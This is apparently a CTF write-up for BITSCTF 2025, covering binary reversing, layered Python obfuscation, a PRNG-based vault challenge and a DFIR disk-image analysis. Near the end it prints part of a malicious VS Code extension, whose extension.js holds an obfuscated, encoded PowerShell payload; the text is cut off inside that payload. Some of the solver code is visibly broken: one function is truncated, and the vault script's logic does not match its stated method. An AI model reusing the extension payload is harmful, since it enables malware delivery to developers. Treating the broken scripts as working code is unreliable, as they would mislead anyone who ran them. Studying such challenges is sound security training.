- At first i tried to convert the given hex to ascii but no luck:
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ unhex 0292a80677a8323f1568c977de86997d08608e6477beba742696e74e
��w�2?h�wކ�`�dw��t&��N
- Then i ran some enumeration on the file, and got to know the following information:
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ file loginator.out
loginator.out: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, BuildID[sha1]=2dacdd38888ded23de5c96b5db102ca08d607f79, stripped
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ checksec ./loginator.out
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/kali/.cache/.pwntools-cache-3.12/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.14.0)
[*] '/home/kali/CTF-Events/BITSCTF-2025/REV/loginator.out'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ ./loginator.out
Usage: ./loginator.out <string_to_obfuscate>
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ ./loginator.out yes
db ca e6
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ ./loginator.out BITSCTF{
02 92 a8 06 77 a8 32 3f
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$
- After doing the basic enumeration i opened up the file in
ghidra
and started analyzing the file code. - Then i got the following functions
void main(int argc,char **argv){
uint result_char;
long FSOFFSET;
byte current-character;
int Key-A;
int Key-B;
int Key-C;
int Key-D;
ulong i;
ulong j;
char *input;
size_t input_len;
void *flag_len;
char *Array_A;
char *Array_B;
char *Array_C;
long STACK-CANARY;
STACK-CANARY = *(long *)(FSOFFSET + 0x28);
if (argc == 2) {
input = argv[1];
input_len = strlen(input);
flag_len = malloc(input_len + 1);
if (flag_len == (void *)0x0) {
perror("malloc");
} else {
Array_A = (char *)malloc(4);
if (Array_A == (char *)0x0) {
perror("malloc");
free(flag_len);
} else {
*Array_A = 'W';
Array_A[1] = '!';
Array_A[2] = 'C';
Array_A[3] = -0x67;
Array_B = (char *)malloc(4);
if (Array_B == (char *)0x0) {
perror("malloc");
free(flag_len);
free(Array_A);
} else {
*Array_B = -0x56;
Array_B[1] = -0x45;
Array_B[2] = -0x34;
Array_B[3] = -0x23;
Array_C = (char *)malloc(4);
if (Array_C == (char *)0x0) {
perror("malloc");
free(flag_len);
free(Array_A);
free(Array_B);
} else {
*Array_C = '\x01';
Array_C[1] = '\x03';
Array_C[2] = '\x05';
Array_C[3] = '\a';
Key-A = 0;
Key-B = 0;
Key-C = 0;
Key-D = 0;
for (i = 0; i < input_len; i = i + 1) {
current-character = input[i];
if (Key-D == 3) {
result_char = First_checker(current-character,Array_B,&Key-B,4);
current-character = (byte)result_char;
} else if (Key-D < 4) {
if (Key-D == 2) {
result_char = Second_Checker(current-character,Array_C,&Key-C,4);
current-character = (byte)result_char;
} else if (Key-D < 3) {
if (Key-D == 0) {
result_char = Third_Checker(current-character,Array_A,&Key-A,4);
current-character = (byte)result_char;
} else if (Key-D == 1) {
current-character = XOR_with_2(current-character);
}
}
}
*(byte *)((long)flag_len + i) = current-character;
Key-D = (Key-D + 1) % 4;
}
*(undefined *)(input_len + (long)flag_len) = 0;
for (j = 0; j < input_len; j = j + 1) {
printf("%02x ",(ulong)*(byte *)(j + (long)flag_len));
}
putchar(10);
free(flag_len);
free(Array_A);
free(Array_B);
free(Array_C);
}
}
}
}
} else {
fprintf(stderr,"Usage: %s <string_to_obfuscate>\n",*argv);
}
if (STACK-CANARY == *(long *)(FSOFFSET + 0x28)) {
return;
}
__stack_chk_fail();
}
uint First_checker(byte current_char,char *Array,int *key,int offset_value){
byte bVar1;
bVar1 = Array[*key];
*key = (*key + 1) % offset_value;
return ~(uint)(current_char ^ bVar1);
}
uint Second_Checker(byte current_char,char *Array,int *index,int offset_value){
byte bVar1;
bVar1 = Array[*index];
*index = (*index + 1) % offset_value;
return (int)(uint)current_char >> (8 - bVar1 & 0x1f) | (uint)current_char << (bVar1 & 0x1f);
}
uint Third_Checker(byte current-char,char *Array,int *index,int value-index){
byte bVar1;
bVar1 = Array[*index];
*index = (*index + 1) % value-index;
return (uint)bVar1 ^ current-char + 0x13;
}
int XOR_with_2(byte current_char){
return (uint)current_char * 2;
}
- After analyzing the file, I wrote the following script to get the flag:
def reverse_first_xoring_function(obfuscated_char, second_array, key_b, value):
some_byte = second_array[key_b[0]]
key_b[0] = (key_b[0] + 1) % value
return (~obfuscated_char & 0xff) ^ some_byte
def reverse_second_xoring_function(obfuscated_char, third_array, key_c, value):
some_byte = third_array[key_c[0]]
key_c[0] = (key_c[0] + 1) % value
return ((obfuscated_char << (8 - some_byte)) | (obfuscated_char >> some_byte)) & 0xff
def reverse_third_xoring_function(obfuscated_char, first_array, key_a, value):
some_byte = first_array[key_a[0]]
key_a[0] = (key_a[0] + 1) % value
return ((obfuscated_char - 0x13) & 0xff) ^ some_byte
def reverse_multiply_by_2(obfuscated_char):
return (obfuscated_char
def reverse_obfuscation(obfuscated_output):
first_array = [ord('W'), ord('!'), ord('C'), 0x99] # -0x67 is 0x99 in unsigned byte
second_array = [170, 187, 204, 221]
third_array = [1, 3, 5, 7]
key_a = [0]
key_b = [0]
key_c = [0]
key_d = 0
original_input = []
for obfuscated_char in obfuscated_output:
if key_d == 3: original_char = reverse_first_xoring_function(obfuscated_char, second_array, key_b, 4)
elif key_d == 2: original_char = reverse_second_xoring_function(obfuscated_char, third_array, key_c, 4)
elif key_d == 0: original_char = reverse_third_xoring_function(obfuscated_char, first_array, key_a, 4)
elif key_d == 1: original_char = reverse_multiply_by_2(obfuscated_char)
original_input.append(original_char)
key_d = (key_d + 1) % 4
return bytes(original_input).decode('latin-1')
# Expected output (hex values)
expected_output_hex = "02 92 a8 06 77 a8 32 3f 15 68 c9 77 de 86 99 7d 08 60 8e 64 77 be ba 74 26 96 e7 4e"
expected_output_bytes = [int(x, 16) for x in expected_output_hex.split()]
original_input = reverse_obfuscation(expected_output_bytes)
print("Original Input:", original_input)
- Running the script gave me the flags.
- I download the file and tried to analyze it but it was an obfuscated python3 code. Here is the obfuscated code:
# Python obfuscation by freecodingtools.org
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'==QfWoizP8/vvPv/tuVzbgu38ZSv1J0vDFdewTskFOqPbM+WKx2jqyeNPjmjdv0UEvzJE8gv9CRQ+J7PE9hk+7ckGqlNUcWpUWR5BoF7Nh9b7jAd1AkzqcA1MAXHT2ThGtUsZyz/twhfFdyuZBPJjVvWGVvSi+9yLDbIJy/hPWF6yGTWbZb598AULQA6qaJ9e1W3b7h8WyGg0sd0+6HPLnDDWwVrED5VN5w/+aV4UAaD7e2T6AtHUkvQuZ4Vc0I8QA4yUWCwcyPvRF4F8Cefn988yW479b8+Hw6SlDLtj4B1zKMcf5Gj8jqnfvGklcK4tguMpvpWcb1tJeqRLytNmPrnII0VHEJmL5oNMmpko/VlkxOh4JfpVljVtIy6rZv+UpWTh5DXG3QDvq+5W7BsU/D1CZSztXVSzUy4S9DhwfCh/D1wLEzFeF2dTBx0ZoolAtJrMiuPiYf7FvarnQ+Hf6yXptpFVDPW/emZLtrlCMzhCsmT3SkrJouxfZTXP/4UT15ER9pKmH4y8zFd8Ee3B33nfQrpOB8yB5Uf0bTfy7XbFzkzQWRT5zIQ1tQkKBLdB3Z+7ffMOMyG26Gtb201wbdZcIdBLV/G5ri6o07fQZXmNXJcme3HVTHcn8WVUzC/VnlQRgfDfszgNElIwPgBa1M2juaRDWqFldV1vsyNVknjI/WWlNZaxlJ+g7hwLIKiJaJWdDtYtuFxic+9nlbrmJ/Mo1u/u9uQ9KNykDHnpPLLfqJ5EWpEpFI4gxx07buDp98Iz0fzoK5LycH79OVvTywbJPABu/XEq9WHzoygixQExi8D2tFOOSrdaMuexHeFzBkA/b/DL6HcOCCg1tLPFoS7WxibjM2mo2Y9Pe11EqInbc1TYker39rhA+PGfzcQ+pBDGtwv+Ic/QG/a558NyX9N6mpchLOszXzFPSCFr72qf6TSX2/AxxuwYahXvObEz7BD5osVi1GsF4EU5f1/4FRQxbmbW4Nc79XFwk7abxYmNRmcm5oeUt/sE/Dt8Nndtn4Kv2c47cYjafGlVOpq57NCBK0Mp2KRUk7xTDyuHpPGjodO515UQ/lRUOtpAmzukFADnYK1+u4wA2VMFES6yI9hgRpEAm97fXQcltHOCxKy6meXDRhbZn5gA4/qhNoOgfu64SbKO4e9nIFerrZ9HxXsdyuiX1O+YbxL2TwCPa5FUQOoArTZbrPy4fYOCxMHrd9sD3mrYKcJS+THQxaQZhp/u384f8R3ItpUlTwn0tT22en4sqGKe3ybZzOSKfK5CkDe3nWFfMsWg0Dt3BlIB2w8O7cSBDbyxdv2P/C5vEjK0AbL+aysqU2oCdHd5X+ik8PRH6aYHySlOi+qxD8dBXiO8Ku1L+lJ+fFHeIdGjAjBD8oEX3xiyPSsj8mlQJefqhplHSFgYnBoacaOxi+hk3/IXUvMA9G5Ew30fYkY+/D0XHI/wS3wgMOCMpxc+SpKUrIkZbTzE
- After deflating the
zlib
format a few times in Cyberchef
, I got frustrated and wrote this script to decode it for me:
import base64, zlib
def zlib_solver(GIVENSTRING):
RSTR = GIVENSTRING[::-1]
DATA = base64.b64decode(RSTR)
RESULT = zlib.decompress(DATA)
if ("BITSCTF{" in RESULT.decode()):
print(f"FOUND FLAG: {RESULT}")
return
STRIPPED = RESULT[11:-3]
zlib_solver(STRIPPED)
STRING = "==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"
zlib_solver(STRING)
- Running the script gave me the flag.
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$ python3 solve-baby-rev.py
FOUND FLAG: b'# Online Python Compiler\n\nprint("Hello, World!")\n# "BITSCTF{obfuscation_and_then_some_more_obfuscation_4a4a4a4a}'"
(kali@LEOPARD-PC)-[~/CTF-Events/BITSCTF-2025/REV]$
- They provided us with a decompiled python3 code for a simple script. The content of the
chall.txt
file were:
```0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (random)
6 STORE_NAME 0 (random)
8 LOAD_CONST 0 (0)
10 LOAD_CONST 1 (None)
12 IMPORT_NAME 1 (os)
14 STORE_NAME 1 (os)
16 LOAD_NAME 2 (int)
18 LOAD_ATTR 7 (NULL|self + from_bytes)
20 PUSH_NULL
22 LOAD_NAME 1 (os)
24 LOAD_ATTR 8 (urandom)
26 LOAD_CONST 2 (8)
28 CALL 1
30 LOAD_CONST 3 ("big")
32 CALL 2
34 STORE_NAME 5 (seed)
36 PUSH_NULL
38 LOAD_NAME 0 (random)
40 LOAD_ATTR 10 (seed)
42 LOAD_NAME 5 (seed)
44 CALL 1
46 POP_TOP
48 LOAD_CONST 4 ("REDACTED")
50 STORE_NAME 6 (flag)
52 LOAD_CONST 5 (code object generate_password)
54 MAKE_FUNCTION 0 (No arguments)
56 STORE_NAME 7 (generate_password)
58 PUSH_NULL
60 LOAD_NAME 8 (print)
62 LOAD_CONST 6 ("Vault is locked! Enter the password to unlock.")
64 CALL 1
66 POP_TOP
68 LOAD_CONST 7 (1)
70 STORE_NAME 9 (i)
72 NOP
74 PUSH_NULL
76 LOAD_NAME 7 (generate_password)
78 LOAD_NAME 9 (i)
80 CALL 1
82 STORE_NAME 10 (password)
84 PUSH_NULL
86 LOAD_NAME 11 (input)
88 LOAD_CONST 8 ("> ")
90 CALL 1
92 STORE_NAME 12 (attempt)
94 LOAD_NAME 12 (attempt)
96 LOAD_ATTR 27 (NULL|self + isdigit)
98 CALL 0
100 POP_JUMP_IF_TRUE 9 (to 114)
102 PUSH_NULL
104 LOAD_NAME 8 (print)
106 LOAD_CONST 9 ("Invalid input! Enter a number.")
108 CALL 1
110 POP_TOP
112 JUMP_BACKWARD 42 (to 72)
114 PUSH_NULL
116 LOAD_NAME 14 (abs)
118 LOAD_NAME 10 (password)
120 PUSH_NULL
122 LOAD_NAME 2 (int)
124 LOAD_NAME 12 (attempt)
126 CALL 1
128 BINARY_OP 10 (-)
130 CALL 1
132 STORE_NAME 15 (difference)
134 LOAD_NAME 15 (difference)
136 LOAD_CONST 0 (0)
138 COMPARE_OP 40 (==)
140 POP_JUMP_IF_FALSE 10 (to 156)
142 PUSH_NULL
144 LOAD_NAME 8 (print)
146 LOAD_CONST 10 ("Access Granted! Here is your flag:")
148 LOAD_NAME 6 (flag)
150 CALL 2
152 POP_TOP
154 RETURN_CONST 1 (None)
156 PUSH_NULL
158 LOAD_NAME 8 (print)
160 LOAD_CONST 11 ("Access Denied! You are ")
162 LOAD_NAME 15 (difference)
164 FORMAT_VALUE 0
166 LOAD_CONST 12 (" away from the correct password. Try again!")
168 BUILD_STRING 3
170 CALL 1
172 POP_TOP
174 LOAD_NAME 9 (i)
176 LOAD_CONST 7 (1)
178 BINARY_OP 0 (+)
180 STORE_NAME 9 (i)
182 JUMP_BACKWARD 91 (to 74)
0 LOAD_GLOBAL 1 (NULL + random)
2 LOAD_ATTR 2 (getrandbits)
4 LOAD_CONST 1 (32)
6 CALL 1
8 LOAD_FAST 0 (i)
10 LOAD_CONST 2 (195894762)
12 BINARY_OP 12 (^)
14 LOAD_CONST 3 (322420958)
16 BINARY_OP 12 (^)
18 BINARY_OP 5 ()
20 LOAD_CONST 4 (2969596945L)
22 BINARY_OP 5 ()
24 STORE_FAST 1 (password)
26 LOAD_FAST 1 (password)
28 RETURN_VALUE```
- If you decode the above code into pure python3 code. It looks like this:
import random
import os
def generate_password(i):
password = random.getrandbits(32) ^ 195894762 ^ 322420958 ^ 2969596945
return password
def main():
seed = int.from_bytes(os.urandom(8), "big")
random.seed(seed)
flag = "REDACTED"
print("Vault is locked! Enter the password to unlock.")
i = 1
while True:
password = generate_password(i)
attempt = input("> ")
if not attempt.isdigit():
print("Invalid input! Enter a number.")
continue
difference = abs(password - int(attempt))
if difference == 0:
print("Access Granted! Here is your flag:", flag)
return
print(f"Access Denied! You are {difference} away from the correct password. Try again!")
i += 1
if __name__ == "__main__":
main()
- After banging my head around for finding the 4th constant value for. I finally the following script working with the help of
chatgpt
to give me the correct flag.
import socket
import random
C = 195894762 ^ 322420958
K = 2969596945
def main():
host = 'chals.bitskrieg.in'
port = 7007
rng = random.Random()
state = []
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))
s.recv(1024)
for i in range(1, 625):
s.send(b'0\n')
response = s.recv(1024).decode()
try:
difference = int(response.split('You are ')[1].split(' away')[0])
except:
print("Failed to parse response:", response)
return
denominator = (i ^ C) * K
R = difference
state.append(R)
rng.setstate((3, tuple(state + [624]), None))
R625 = rng.getrandbits(32)
password = R625 * ((625 ^ C) * K)
s.send(f'{password}\n'.encode())
print(s.recv(1024).decode())
if __name__ == "__main__":
main()
- Executed the script and got the flag:
BITSCTF{V4u1t_cr4ck1ng_w45_345y_0384934}
- It was a simple challenge, I opened the file with
FTK Imager
, and immediately saw the flag.txt file:
- Here is the flag:
BITSCTF{a_really_simple_intro_to_DFIR_12848a9e}
- They provided us with a 625-MB
.ad1
format file. which was being used for both the Virus Camp 1 and 2 challenge. - I opened up the file in
FTK Imager
again. and started searching for unusual or odd thing/files in the disk image. - There i saw a few things that were unusual including this VS-Code Extensions. performing some odd functionality
- After analyzing the code of this file. I found a Base64 encoded string:
VGhlIDFzdCBmbGFnIGlzOiBCSVRTQ1RGe0gwd19jNG5fdlNfYzBkM19sM3RfeTB1X3B1Ymwxc2hfbTRsMWNpb3VzX2V4NzNuc2kwbnNfU09fZWFzaWx5Pz9fNWE3YjMzNmN9
- Decoding the gave me the flag to this challenge:
BITSCTF{H0w_c4n_vS_c0d3_l3t_y0u_publ1sh_m4l1cious_ex73nsi0ns_SO_easily??_5a7b336c}
- Since the file is same. I started to analyze the code in the
extension.js
file:
"use strict";
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
var desc = Object.getOwnPropertyDescriptor(m, k);
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
desc = { enumerable: true, get: function() { return m[k]; } };
}
Object.defineProperty(o, k2, desc);
}) : (function(o, m, k, k2) {
if (k2 === undefined) k2 = k;
o[k2] = m[k];
}));
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
Object.defineProperty(o, "default", { enumerable: true, value: v });
}) : function(o, v) {
o["default"] = v;
});
var __importStar = (this && this.__importStar) || (function () {
var ownKeys = function(o) {
ownKeys = Object.getOwnPropertyNames || function (o) {
var ar = [];
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
return ar;
};
return ownKeys(o);
};
return function (mod) {
if (mod && mod.__esModule) return mod;
var result = {};
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
__setModuleDefault(result, mod);
return result;
};
})();
Object.defineProperty(exports, "__esModule", { value: true });
exports.activate = activate;
exports.deactivate = deactivate;
const vscode = __importStar(require("vscode"));
const child_process_1 = require("child_process");
const fs = __importStar(require("fs"));
function activate(context) {
const command = vscode.commands.registerCommand("rs", () => {
const scriptContent = `$wy7qIGPnm36HpvjrL2TMUaRbz = "K0QZjJ3bG1CIlxWaGRXdw5WakASblRXStUmdv1WZSpQDK0QKoU2cvx2Qu0WYlJHdTRXdvRiCNkCKlN3bsNkLtFWZyR3UvRHc5J3YkoQDK0QKos2YvxmQsFmbpZEazVHbG5SbhVmc0N1b0BXeyNGJK0QKoR3ZuVGTuMXZ0lnQulWYsBHJgwCMgwyclRXeC5WahxGckgSZ0lmcX5SbhVmc0N1b0BXeyNGJK0gCNkSZ0lmcXpjOdVGZv1UbhVmc0N1b0BXeyNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTtFIsI3b0BXeyNmblRCIs0WYlJHdTRXdvRCKtFWZyR3UvRHc5J3QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5NFI0NWZqJ2TtcXZOBSPg0WYlJHdT9GdwlncjRiCNkSZ0FWZyNkO60VZk9WTlxWaG5yTJ5SblR3c5N1WgwSZslmR0VHc0V3bkgSbhVmc0NVZslmRu8USu0WZ0NXeTBCdjVmai9UL3VmTg0DItFWZyR3U0V3bkoQDK0QKlxWaGRXdw5WakgyclRXeCxGbBRWYlJlO60VZslmRu8USu0WZ0NXeTtFI9AyclRXeC5WahxGckoQDK0QKoI3b0BXeyNmbFVGdhVmcD5yclFGJg0DIy9Gdwlncj5WZkoQDK0wNTN0SQpjOdVGZv10ZulGZkFGUukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIn5WakRWYQ5yclFGJK0wQCNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIlR2bN5yclFGJK0gdpRCI9AiVJ5yclFGJK0QeltGJg0DI5V2SuMXZhRiCNkCKlRXYlJ3Q6oTXzVWQukHawFmcn9Gd